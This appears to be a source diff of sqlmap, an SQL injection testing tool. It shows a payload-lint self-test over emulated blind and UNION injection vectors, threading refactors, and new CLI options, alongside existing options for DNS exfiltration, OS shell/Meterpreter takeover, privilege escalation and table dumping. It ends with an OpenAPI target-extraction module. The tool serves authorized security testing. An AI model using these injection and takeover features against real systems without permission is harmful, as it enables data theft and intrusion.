||||
match = re.search(r">\s*(\d+)", sql)
|
||||
if match:
|
||||
value_ = int(match.group(1))
|
||||
target = 1 if "COUNT(" in upper else (3 if any(_ in upper for _ in ("LENGTH(", "LEN(", "DATALENGTH(")) else 2)
|
||||
return target > value_
|
||||
match = re.search(r"(\d+)\s*(=|<|>=|<=|<>|!=)\s*(\d+)", sql)
|
||||
if match:
|
||||
left, operator, right = int(match.group(1)), match.group(2), int(match.group(3))
|
||||
return {"=": left == right, "<": left < right, ">=": left >= right, "<=": left <= right, "<>": left != right, "!=": left != right}[operator]
|
||||
return False
|
||||
|
||||
def _injection(dbms):
|
||||
injection = InjectionDict()
|
||||
injection.place = PLACE.GET
|
||||
injection.parameter = "id"
|
||||
injection.ptype = 1
|
||||
injection.prefix = ""
|
||||
injection.suffix = ""
|
||||
injection.clause = [1]
|
||||
injection.dbms = dbms
|
||||
boolean = AttribDict()
|
||||
boolean.title = "AND boolean-based blind"
|
||||
boolean.vector = "AND [INFERENCE]"
|
||||
boolean.comment = ""
|
||||
boolean.payload = "x"
|
||||
boolean.where = 1
|
||||
boolean.templatePayload = None
|
||||
boolean.matchRatio = None
|
||||
boolean.trueCode = None
|
||||
boolean.falseCode = None
|
||||
injection.data = AttribDict()
|
||||
injection.data[PAYLOAD.TECHNIQUE.BOOLEAN] = boolean
|
||||
return injection
|
||||
|
||||
def _unionInjection(dbms):
|
||||
injection = InjectionDict()
|
||||
injection.place = PLACE.GET
|
||||
injection.parameter = "id"
|
||||
injection.ptype = 1
|
||||
injection.prefix = ""
|
||||
injection.suffix = ""
|
||||
injection.clause = [1]
|
||||
injection.dbms = dbms
|
||||
union = AttribDict()
|
||||
union.title = "Generic UNION query"
|
||||
# vector = (position, count, comment, prefix, suffix, char, where,
|
||||
# unionDuplicates, forcePartial, tableFrom, unionTemplate)
|
||||
union.vector = (0, 3, "-- -", "", "", "NULL", PAYLOAD.WHERE.ORIGINAL, False, False, None, None)
|
||||
union.comment = "-- -"
|
||||
union.prefix = ""
|
||||
union.suffix = ""
|
||||
union.where = PAYLOAD.WHERE.ORIGINAL
|
||||
union.templatePayload = None
|
||||
union.matchRatio = None
|
||||
union.trueCode = None
|
||||
union.falseCode = None
|
||||
injection.data = AttribDict()
|
||||
injection.data[PAYLOAD.TECHNIQUE.UNION] = union
|
||||
return injection
|
||||
|
||||
methods = ("getBanner", "getCurrentDb", "getCurrentUser", "getHostname", "isDba",
|
||||
"getDbs", "getTables", "getColumns", "getSchema", "getUsers",
|
||||
"getPasswordHashes", "getPrivileges", "getRoles", "getStatements",
|
||||
"getComments", "getProcedures")
|
||||
|
||||
_stdout = sys.stdout
|
||||
|
||||
def _progress(dbms, count, bad):
|
||||
# write to the real stdout (sqlmap's is redirected to a sink during the walk)
|
||||
_stdout.write("[payload-lint] %-26s %7d payloads %s\n" % (dbms, count, ("%d FLAGGED" % bad) if bad else "ok"))
|
||||
_stdout.flush()
|
||||
|
||||
class _Sink(object):
|
||||
def write(self, *args, **kwargs): pass
|
||||
def flush(self, *args, **kwargs): pass
|
||||
|
||||
_queryPage = Connect.queryPage
|
||||
_getPageTemplate = common_module.getPageTemplate
|
||||
_level = logger.level
|
||||
_threads = conf.threads
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
retVal = True
|
||||
total = walked = 0
|
||||
flagged = []
|
||||
allDbms = sorted(queries.keys())
|
||||
|
||||
try:
|
||||
conf.batch = True
|
||||
conf.threads = 1 # deterministic, single-threaded (clean output)
|
||||
conf.disableHashing = True
|
||||
if not conf.base64Parameter:
|
||||
conf.base64Parameter = []
|
||||
common_module.getPageTemplate = lambda *args, **kwargs: ("<html>x</html>", False)
|
||||
Connect.queryPage = staticmethod(_oracle)
|
||||
logger.setLevel(logging.CRITICAL) # mute the emulated walk's "unable to retrieve" noise
|
||||
threadData.disableStdOut = True # mute dataToStdout at its gate
|
||||
sys.stdout = _Sink() # and mute everything else (readInput prompts, tables, ...)
|
||||
|
||||
def _runMethods():
|
||||
found = set()
|
||||
for name in methods:
|
||||
method = getattr(conf.dbmsHandler, name, None)
|
||||
if method is None:
|
||||
continue
|
||||
del collected[:]
|
||||
guard["count"] = 0
|
||||
try:
|
||||
method()
|
||||
except (KeyboardInterrupt, Exception):
|
||||
pass
|
||||
found.update(collected)
|
||||
return found
|
||||
|
||||
for dbms in allDbms:
|
||||
try:
|
||||
Backend.flushForcedDbms(force=True)
|
||||
kb.stickyDBMS = False
|
||||
Backend.forceDbms(dbms)
|
||||
conf.forceDbms = conf.dbms = dbms
|
||||
conf.parameters = {PLACE.GET: "id=1"}
|
||||
conf.paramDict = {PLACE.GET: {"id": "1"}}
|
||||
# a user/column so user-filtered and column-specific query variants
|
||||
# (WHERE grantee='...', per-column extraction) are exercised too
|
||||
conf.db, conf.tbl, conf.col, conf.user = "testdb", "testtbl", "testcol", "testuser"
|
||||
setHandler()
|
||||
except Exception:
|
||||
_progress(dbms, 0, 0)
|
||||
continue
|
||||
|
||||
seen = set()
|
||||
# (a) boolean-based blind pass, then (b) UNION-query (inband) pass -
|
||||
# two techniques exercise two distinct payload-builder families in agent.py
|
||||
for technique, injector in ((PAYLOAD.TECHNIQUE.BOOLEAN, _injection),
|
||||
(PAYLOAD.TECHNIQUE.UNION, _unionInjection)):
|
||||
for key in list(kb.data.keys()):
|
||||
if key.startswith("cached"):
|
||||
kb.data[key] = None
|
||||
kb.jsonAggMode = False
|
||||
kb.injection = injector(dbms)
|
||||
kb.injections = [kb.injection]
|
||||
kb.technique = technique
|
||||
seen.update(_runMethods())
|
||||
|
||||
bad = [(dbms, p, checkSanity(p)) for p in seen if checkSanity(p)]
|
||||
flagged.extend(bad)
|
||||
total += len(seen)
|
||||
if seen:
|
||||
walked += 1
|
||||
_progress(dbms, len(seen), len(bad))
|
||||
finally:
|
||||
sys.stdout = _stdout
|
||||
Connect.queryPage = _queryPage
|
||||
common_module.getPageTemplate = _getPageTemplate
|
||||
Backend.flushForcedDbms(force=True)
|
||||
logger.setLevel(_level)
|
||||
conf.threads = _threads
|
||||
threadData.disableStdOut = False
|
||||
|
||||
# self-check: the linter must flag a known-malformed payload, and the walk
|
||||
# must have actually produced payloads (guards against a vacuous pass)
|
||||
if not checkSanity("1 AND (SELECT id 1 FROM users)"):
|
||||
logger.error("payload-lint self-check failed: a known-malformed payload was not flagged")
|
||||
retVal = False
|
||||
if total < 1000:
|
||||
logger.error("payload-lint self-check failed: only %d payloads generated (walk did not run)" % total)
|
||||
retVal = False
|
||||
|
||||
for dbms, payload, issues in flagged[:20]:
|
||||
retVal = False
|
||||
logger.error("[%s] malformed payload: %s -> %s" % (dbms, payload, "; ".join(issues)))
|
||||
|
||||
clearConsoleLine()
|
||||
logger.info("payload-lint: %d payloads across %d/%d DBMSes checked, %d malformed" % (total, walked, len(allDbms), len(flagged)))
|
||||
if retVal:
|
||||
logger.info("payload-lint final result: PASSED")
|
||||
else:
|
||||
logger.error("payload-lint final result: FAILED")
|
||||
|
||||
return retVal
|
||||
|
||||
+7
-9
@@ -27,7 +27,6 @@ from lib.core.exception import SqlmapThreadException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.exception import SqlmapValueException
|
||||
from lib.core.settings import MAX_NUMBER_OF_THREADS
|
||||
from lib.core.settings import PYVERSION
|
||||
|
||||
shared = AttribDict()
|
||||
|
||||
@@ -53,6 +52,8 @@ class _ThreadData(threading.local):
|
||||
self.lastComparisonCode = None
|
||||
self.lastComparisonRatio = None
|
||||
self.lastPageTemplateCleaned = None
|
||||
self.lastPageTemplateJsonMinimized = None
|
||||
self.lastPageTemplateStructural = None
|
||||
self.lastPageTemplate = None
|
||||
self.lastErrorPage = tuple()
|
||||
self.lastHTTPError = None
|
||||
@@ -93,7 +94,7 @@ def getCurrentThreadName():
|
||||
Returns current's thread name
|
||||
"""
|
||||
|
||||
return threading.current_thread().getName()
|
||||
return threading.current_thread().name
|
||||
|
||||
def exceptionHandledFunction(threadFunction, silent=False):
|
||||
try:
|
||||
@@ -107,17 +108,14 @@ def exceptionHandledFunction(threadFunction, silent=False):
|
||||
|
||||
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)):
|
||||
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
|
||||
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
|
||||
logger.error("thread %s: '%s'" % (threading.current_thread().name, errMsg))
|
||||
|
||||
if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException):
|
||||
traceback.print_exc()
|
||||
|
||||
def setDaemon(thread):
|
||||
# Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
|
||||
if PYVERSION >= "2.6":
|
||||
thread.daemon = True
|
||||
else:
|
||||
thread.setDaemon(True)
|
||||
thread.daemon = True
|
||||
|
||||
def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
|
||||
threads = []
|
||||
@@ -233,7 +231,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
||||
except (SqlmapConnectionException, SqlmapValueException) as ex:
|
||||
print()
|
||||
kb.threadException = True
|
||||
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex))
|
||||
logger.error("thread %s: '%s'" % (threading.current_thread().name, ex))
|
||||
|
||||
if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException):
|
||||
traceback.print_exc()
|
||||
@@ -249,7 +247,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
||||
|
||||
kb.threadException = True
|
||||
errMsg = unhandledExceptionMessage()
|
||||
logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
|
||||
logger.error("thread %s: %s" % (threading.current_thread().name, errMsg))
|
||||
traceback.print_exc()
|
||||
|
||||
finally:
|
||||
|
||||
@@ -6,10 +6,11 @@ See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.core.settings import EXCLUDE_UNESCAPE
|
||||
|
||||
class Unescaper(AttribDict):
|
||||
# Note: a plain dict (DBMS -> escape function) with a helper method; it is a runtime registry, never
|
||||
# serialized, so it deliberately does NOT use AttribDict (no attribute-style access is needed here)
|
||||
class Unescaper(dict):
|
||||
def escape(self, expression, quote=True, dbms=None):
|
||||
if expression is None:
|
||||
return expression
|
||||
|
||||
+87
-20
@@ -133,7 +133,7 @@ def cmdLineParser(argv=None):
|
||||
help="Parse target(s) from Burp or WebScarab proxy log file")
|
||||
|
||||
target.add_argument("-m", dest="bulkFile",
|
||||
help="Scan multiple targets given in a textual file ")
|
||||
help="Scan multiple targets given in a textual file")
|
||||
|
||||
target.add_argument("-r", dest="requestFile",
|
||||
help="Load HTTP request from a file")
|
||||
@@ -144,6 +144,15 @@ def cmdLineParser(argv=None):
|
||||
target.add_argument("-c", dest="configFile",
|
||||
help="Load options from a configuration INI file")
|
||||
|
||||
target.add_argument("--openapi", dest="openApiFile",
|
||||
help="Derive targets from OpenAPI/Swagger (file/URL)")
|
||||
|
||||
target.add_argument("--openapi-base", dest="openApiBase",
|
||||
help="Base URL for a host-less OpenAPI/Swagger spec")
|
||||
|
||||
target.add_argument("--openapi-tags", dest="openApiTags",
|
||||
help="Only derive targets from operations with these tag(s)")
|
||||
|
||||
# Request options
|
||||
request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL")
|
||||
|
||||
@@ -153,7 +162,7 @@ def cmdLineParser(argv=None):
|
||||
request.add_argument("-H", "--header", dest="header",
|
||||
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
|
||||
|
||||
request.add_argument("--method", dest="method",
|
||||
request.add_argument("-X", "--method", dest="method",
|
||||
help="Force usage of given HTTP method (e.g. PUT)")
|
||||
|
||||
request.add_argument("--data", dest="data",
|
||||
@@ -312,11 +321,9 @@ def cmdLineParser(argv=None):
|
||||
optimization.add_argument("-o", dest="optimize", action="store_true",
|
||||
help="Turn on all optimization switches")
|
||||
|
||||
optimization.add_argument("--predict-output", dest="predictOutput", action="store_true",
|
||||
help="Predict common queries output")
|
||||
|
||||
optimization.add_argument("--keep-alive", dest="keepAlive", action="store_true",
|
||||
help="Use persistent HTTP(s) connections")
|
||||
# Note: persistent (Keep-Alive) connections are used by default; this opts out
|
||||
optimization.add_argument("--no-keep-alive", dest="noKeepAlive", action="store_true",
|
||||
help="Disable persistent HTTP(s) connections (Keep-Alive)")
|
||||
|
||||
optimization.add_argument("--null-connection", dest="nullConnection", action="store_true",
|
||||
help="Retrieve page length without actual HTTP response body")
|
||||
@@ -334,7 +341,7 @@ def cmdLineParser(argv=None):
|
||||
help="Skip testing for given parameter(s)")
|
||||
|
||||
injection.add_argument("--skip-static", dest="skipStatic", action="store_true",
|
||||
help="Skip testing parameters that not appear to be dynamic")
|
||||
help="Skip testing parameters that do not appear to be dynamic")
|
||||
|
||||
injection.add_argument("--param-exclude", dest="paramExclude",
|
||||
help="Regexp to exclude parameters from testing (e.g. \"ses\")")
|
||||
@@ -375,6 +382,9 @@ def cmdLineParser(argv=None):
|
||||
injection.add_argument("--tamper", dest="tamper",
|
||||
help="Use given script(s) for tampering injection data")
|
||||
|
||||
injection.add_argument("--proof", dest="proof", action="store_true",
|
||||
help="Prove exploitation of the detected injection point(s)")
|
||||
|
||||
# Detection options
|
||||
detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase")
|
||||
|
||||
@@ -417,6 +427,9 @@ def cmdLineParser(argv=None):
|
||||
techniques.add_argument("--disable-stats", dest="disableStats", action="store_true",
|
||||
help="Disable the statistical model for detecting the delay")
|
||||
|
||||
techniques.add_argument("--timeless", dest="timeless", action="store_true",
|
||||
help="Use HTTP/2 timeless timing (faster, no delay)")
|
||||
|
||||
techniques.add_argument("--union-cols", dest="uCols",
|
||||
help="Range of columns to test for UNION query SQL injection")
|
||||
|
||||
@@ -430,7 +443,7 @@ def cmdLineParser(argv=None):
|
||||
help="Column values to use for UNION query SQL injection")
|
||||
|
||||
techniques.add_argument("--dns-domain", dest="dnsDomain",
|
||||
help="Domain name used for DNS exfiltration attack")
|
||||
help="Domain name used for DNS exfiltration attack (or 'interactsh' for zero-setup OOB)")
|
||||
|
||||
techniques.add_argument("--second-url", dest="secondUrl",
|
||||
help="Resulting page URL searched for second-order response")
|
||||
@@ -439,7 +452,7 @@ def cmdLineParser(argv=None):
|
||||
help="Load second-order HTTP request from file")
|
||||
|
||||
# Fingerprint options
|
||||
fingerprint = parser.add_argument_group("Fingerprint")
|
||||
fingerprint = parser.add_argument_group("Fingerprint", "These options can be used to perform a back-end database management system version fingerprint")
|
||||
|
||||
fingerprint.add_argument("-f", "--fingerprint", dest="extensiveFp", action="store_true",
|
||||
help="Perform an extensive DBMS version fingerprint")
|
||||
@@ -496,7 +509,7 @@ def cmdLineParser(argv=None):
|
||||
help="Dump DBMS database table entries")
|
||||
|
||||
enumeration.add_argument("--dump-all", dest="dumpAll", action="store_true",
|
||||
help="Dump all DBMS databases tables entries")
|
||||
help="Dump entries of all DBMS database tables")
|
||||
|
||||
enumeration.add_argument("--search", dest="search", action="store_true",
|
||||
help="Search column(s), table(s) and/or database name(s)")
|
||||
@@ -507,6 +520,9 @@ def cmdLineParser(argv=None):
|
||||
enumeration.add_argument("--statements", dest="getStatements", action="store_true",
|
||||
help="Retrieve SQL statements being run on DBMS")
|
||||
|
||||
enumeration.add_argument("--procs", dest="getProcs", action="store_true",
|
||||
help="Retrieve stored procedures/functions and their source")
|
||||
|
||||
enumeration.add_argument("-D", dest="db",
|
||||
help="DBMS database to enumerate")
|
||||
|
||||
@@ -516,7 +532,7 @@ def cmdLineParser(argv=None):
|
||||
enumeration.add_argument("-C", dest="col",
|
||||
help="DBMS database table column(s) to enumerate")
|
||||
|
||||
enumeration.add_argument("-X", dest="exclude",
|
||||
enumeration.add_argument("--exclude", dest="exclude",
|
||||
help="DBMS database identifier(s) to not enumerate")
|
||||
|
||||
enumeration.add_argument("-U", dest="user",
|
||||
@@ -598,11 +614,10 @@ def cmdLineParser(argv=None):
|
||||
help="Prompt for an OOB shell, Meterpreter or VNC")
|
||||
|
||||
takeover.add_argument("--os-smbrelay", dest="osSmb", action="store_true",
|
||||
help="One click prompt for an OOB shell, Meterpreter or VNC")
|
||||
help="One-click prompt for an OOB shell, Meterpreter or VNC")
|
||||
|
||||
takeover.add_argument("--os-bof", dest="osBof", action="store_true",
|
||||
help="Stored procedure buffer overflow "
|
||||
"exploitation")
|
||||
help="Stored procedure buffer overflow exploitation")
|
||||
|
||||
takeover.add_argument("--priv-esc", dest="privEsc", action="store_true",
|
||||
help="Database process user privilege escalation")
|
||||
@@ -686,7 +701,7 @@ def cmdLineParser(argv=None):
|
||||
help="Store dumped data to a custom file")
|
||||
|
||||
general.add_argument("--dump-format", dest="dumpFormat",
|
||||
help="Format of dumped data (CSV (default), HTML or SQLITE)")
|
||||
help="Dump data format (CSV (default), HTML, SQLITE, JSONL)")
|
||||
|
||||
general.add_argument("--encoding", dest="encoding",
|
||||
help="Character encoding used for data retrieval (e.g. GBK)")
|
||||
@@ -727,6 +742,9 @@ def cmdLineParser(argv=None):
|
||||
general.add_argument("--repair", dest="repair", action="store_true",
|
||||
help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
|
||||
|
||||
general.add_argument("--report-json", dest="reportJson",
|
||||
help="Store run results to a JSON file")
|
||||
|
||||
general.add_argument("--save", dest="saveConfig",
|
||||
help="Save options to a configuration INI file")
|
||||
|
||||
@@ -757,6 +775,33 @@ def cmdLineParser(argv=None):
|
||||
general.add_argument("--web-root", dest="webRoot",
|
||||
help="Web server document root directory (e.g. \"/var/www\")")
|
||||
|
||||
# Non-SQL injection options
|
||||
nonsql = parser.add_argument_group("Non-SQL injection", "These options can be used to test for non-SQL injection types")
|
||||
|
||||
nonsql.add_argument("--graphql", dest="graphql", action="store_true",
|
||||
help="Test for GraphQL injection")
|
||||
|
||||
nonsql.add_argument("--ldap", dest="ldap", action="store_true",
|
||||
help="Test for LDAP injection")
|
||||
|
||||
nonsql.add_argument("--nosql", dest="nosql", action="store_true",
|
||||
help="Test for NoSQL injection")
|
||||
|
||||
nonsql.add_argument("--xpath", dest="xpath", action="store_true",
|
||||
help="Test for XPath injection")
|
||||
|
||||
nonsql.add_argument("--ssti", dest="ssti", action="store_true",
|
||||
help="Test for server-side template injection")
|
||||
|
||||
nonsql.add_argument("--xxe", dest="xxe", action="store_true",
|
||||
help="Test for XML External Entity (XXE) injection")
|
||||
|
||||
nonsql.add_argument("--oob-server", dest="oobServer",
|
||||
help="Out-of-band server for blind '--xxe'")
|
||||
|
||||
nonsql.add_argument("--oob-token", dest="oobToken",
|
||||
help="Authentication token for a self-hosted '--oob-server'")
|
||||
|
||||
# Miscellaneous options
|
||||
miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category")
|
||||
|
||||
@@ -779,7 +824,7 @@ def cmdLineParser(argv=None):
|
||||
help="Disable hash analysis on table dumps")
|
||||
|
||||
miscellaneous.add_argument("--gui", dest="gui", action="store_true",
|
||||
help="Experimental Tkinter GUI")
|
||||
help="Graphical user interface (Tkinter)")
|
||||
|
||||
miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true",
|
||||
help="Display list of available tamper scripts")
|
||||
@@ -806,7 +851,7 @@ def cmdLineParser(argv=None):
|
||||
help="Local directory for storing temporary files")
|
||||
|
||||
miscellaneous.add_argument("--tui", dest="tui", action="store_true",
|
||||
help="Experimental ncurses TUI")
|
||||
help="Textual user interface (ncurses)")
|
||||
|
||||
miscellaneous.add_argument("--unstable", dest="unstable", action="store_true",
|
||||
help="Adjust options for unstable connections")
|
||||
@@ -842,6 +887,9 @@ def cmdLineParser(argv=None):
|
||||
parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--no-huffman", dest="noHuffman", action="store_true",
|
||||
help=SUPPRESS) # "Disable adaptive (Huffman) set-membership retrieval used by default to speed up blind table dumps"
|
||||
|
||||
parser.add_argument("--profile", dest="profile", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
@@ -860,18 +908,37 @@ def cmdLineParser(argv=None):
|
||||
parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
# Experimental: dump table rows via keyset (seek) pagination on a detected indexed
|
||||
# primary key instead of ORDER BY ... LIMIT/OFFSET (much cheaper on huge tables).
|
||||
# --keyset forces it for any table size; --no-keyset disables it (incl. the automatic
|
||||
# use on large tables), falling back to the plain LIMIT/OFFSET dump.
|
||||
parser.add_argument("--keyset", dest="keyset", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--no-keyset", dest="noKeyset", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--ignore-stdin", dest="ignoreStdin", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
|
||||
parser.add_argument("--smoke-test", "--doc-test", dest="smokeTest", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--fp-test", dest="fpTest", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--payload-lint", dest="payloadLint", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--api-test", dest="apiTest", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--disable-json", dest="disableJson", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
@@ -1126,7 +1193,7 @@ def cmdLineParser(argv=None):
|
||||
else:
|
||||
args.stdinPipe = None
|
||||
|
||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
|
||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.openApiFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.payloadLint, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
|
||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). "
|
||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||
parser.error(errMsg)
|
||||
|
||||
@@ -75,6 +75,8 @@ def configFileParser(configFile):
|
||||
except Exception as ex:
|
||||
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
finally:
|
||||
configFP.close()
|
||||
|
||||
if not config.has_section("Target"):
|
||||
errMsg = "missing a mandatory section 'Target' in the configuration file"
|
||||
|
||||
+4
-4
@@ -27,11 +27,11 @@ class HTMLHandler(ContentHandler):
|
||||
|
||||
self._dbms = None
|
||||
self._page = (page or "")
|
||||
self._urldecodedPage = urldecode(self._page)
|
||||
try:
|
||||
self._lower_page = self._page.lower()
|
||||
self._lowerPage = self._urldecodedPage.lower() # Note: keyword pre-filter must match the page that re.search() runs on (the URL-decoded one)
|
||||
except SystemError: # https://bugs.python.org/issue18183
|
||||
self._lower_page = None
|
||||
self._urldecoded_page = urldecode(self._page)
|
||||
self._lowerPage = None
|
||||
|
||||
self.dbms = None
|
||||
|
||||
@@ -53,7 +53,7 @@ class HTMLHandler(ContentHandler):
|
||||
keywords = sorted(keywords, key=len)
|
||||
kb.cache.regex[regexp] = keywords[-1].lower()
|
||||
|
||||
if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I):
|
||||
if ('|' in regexp or kb.cache.regex[regexp] in (self._lowerPage or kb.cache.regex[regexp])) and re.search(regexp, self._urldecodedPage, re.I):
|
||||
self.dbms = self._dbms
|
||||
self._markAsErrorPage()
|
||||
kb.forkNote = kb.forkNote or attrs.get("fork")
|
||||
|
||||
@@ -0,0 +1,366 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import json
|
||||
import re
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves.urllib.parse import quote as _quote
|
||||
|
||||
try:
|
||||
import yaml # optional (only needed for YAML specs)
|
||||
except ImportError:
|
||||
yaml = None
|
||||
|
||||
# Best-effort extraction of concrete request targets from an OpenAPI (v3) / Swagger (v2) document. The
|
||||
# document is treated as a request generator, NOT a contract to validate: for every operation a single
|
||||
# concrete request is synthesized (base URL + filled path + example query/body from the schema) and any
|
||||
# operation that cannot be built is skipped with a warning, so a loose/incomplete spec degrades gracefully.
|
||||
|
||||
MAX_REF_DEPTH = 25
|
||||
|
||||
def _loadSpec(content):
|
||||
try:
|
||||
return json.loads(content)
|
||||
except ValueError:
|
||||
if yaml is None:
|
||||
errMsg = "the provided OpenAPI/Swagger specification is not JSON and the optional "
|
||||
errMsg += "'pyyaml' module (needed for YAML specifications) is not available"
|
||||
raise ValueError(errMsg)
|
||||
try:
|
||||
return yaml.safe_load(content)
|
||||
except Exception as ex:
|
||||
raise ValueError("not valid JSON nor YAML (%s)" % getSafeExString(ex))
|
||||
|
||||
def _resolve(spec, node, seen=None, depth=0):
|
||||
seen = seen or set()
|
||||
if isinstance(node, dict) and "$ref" in node:
|
||||
ref = node["$ref"]
|
||||
if not isinstance(ref, six.string_types): # malformed '$ref' (non-string) -> treat as no ref
|
||||
return {}
|
||||
if ref in seen or depth > MAX_REF_DEPTH:
|
||||
return {}
|
||||
if not ref.startswith("#/"):
|
||||
logger.warning("skipping external OpenAPI $ref '%s'" % ref)
|
||||
return {}
|
||||
seen = seen | set([ref])
|
||||
current = spec
|
||||
for part in ref[2:].split('/'):
|
||||
part = part.replace("~1", "/").replace("~0", "~")
|
||||
if not isinstance(current, dict) or part not in current:
|
||||
logger.warning("skipping dangling OpenAPI $ref '%s'" % ref)
|
||||
return {}
|
||||
current = current[part]
|
||||
return _resolve(spec, current, seen, depth + 1)
|
||||
return node
|
||||
|
||||
EXAMPLE_MAX_DEPTH = 8 # request examples do not need deep nesting; caps runaway synthesis on large specs
|
||||
|
||||
def _example(spec, schema, seen=None, depth=0, cache=None):
|
||||
# 'cache' memoizes the synthesized example per $ref across the whole run - big real-world specs
|
||||
# (Stripe/GitHub/k8s) reuse the same large schemas across thousands of operations, so without this
|
||||
# the extraction is exponential. 'depth' caps recursion for deeply nested / self-referential schemas.
|
||||
seen = seen or set()
|
||||
if cache is None:
|
||||
cache = {}
|
||||
if depth > EXAMPLE_MAX_DEPTH:
|
||||
return "1"
|
||||
ref = schema.get("$ref") if isinstance(schema, dict) else None
|
||||
if not isinstance(ref, six.string_types): # only a string $ref is a valid (hashable) cache key
|
||||
ref = None
|
||||
if ref is not None and ref in cache:
|
||||
return cache[ref]
|
||||
|
||||
schema = _resolve(spec, schema or {}, seen, depth)
|
||||
if not isinstance(schema, dict):
|
||||
return "1"
|
||||
|
||||
value = None
|
||||
if "example" in schema:
|
||||
value = schema["example"]
|
||||
elif "const" in schema: # JSON Schema 2020-12 (OpenAPI 3.1)
|
||||
value = schema["const"]
|
||||
elif "default" in schema:
|
||||
value = schema["default"]
|
||||
elif isinstance(schema.get("examples"), list) and schema["examples"]:
|
||||
value = schema["examples"][0]
|
||||
elif isinstance(schema.get("enum"), list) and schema["enum"]:
|
||||
value = schema["enum"][0]
|
||||
else:
|
||||
combinator = next((_ for _ in ("allOf", "oneOf", "anyOf") if schema.get(_)), None)
|
||||
if combinator:
|
||||
if combinator == "allOf":
|
||||
merged = {}
|
||||
for sub in schema[combinator]:
|
||||
part = _example(spec, sub, seen, depth + 1, cache)
|
||||
if isinstance(part, dict):
|
||||
merged.update(part)
|
||||
value = merged if merged else _example(spec, schema[combinator][0], seen, depth + 1, cache)
|
||||
else:
|
||||
value = _example(spec, schema[combinator][0], seen, depth + 1, cache)
|
||||
else:
|
||||
_type = schema.get("type")
|
||||
if isinstance(_type, list): # OpenAPI 3.1 allows a list of types (e.g. ["string", "null"])
|
||||
_type = next((_ for _ in _type if _ != "null"), None)
|
||||
if _type == "object" or ("properties" in schema and not _type):
|
||||
properties = schema.get("properties")
|
||||
value = dict((name, _example(spec, sub, seen, depth + 1, cache)) for name, sub in (properties if isinstance(properties, dict) else {}).items())
|
||||
elif _type == "array":
|
||||
value = [_example(spec, schema.get("items") or {}, seen, depth + 1, cache)]
|
||||
elif _type in ("integer", "number"):
|
||||
value = 1
|
||||
elif _type == "boolean":
|
||||
value = True
|
||||
elif _type == "string":
|
||||
formats = {"uuid": "11111111-1111-1111-1111-111111111111", "date": "2020-01-01", "date-time": "2020-01-01T00:00:00Z", "email": "[email protected]", "byte": "MQ=="}
|
||||
value = formats.get(schema.get("format"), "1")
|
||||
else:
|
||||
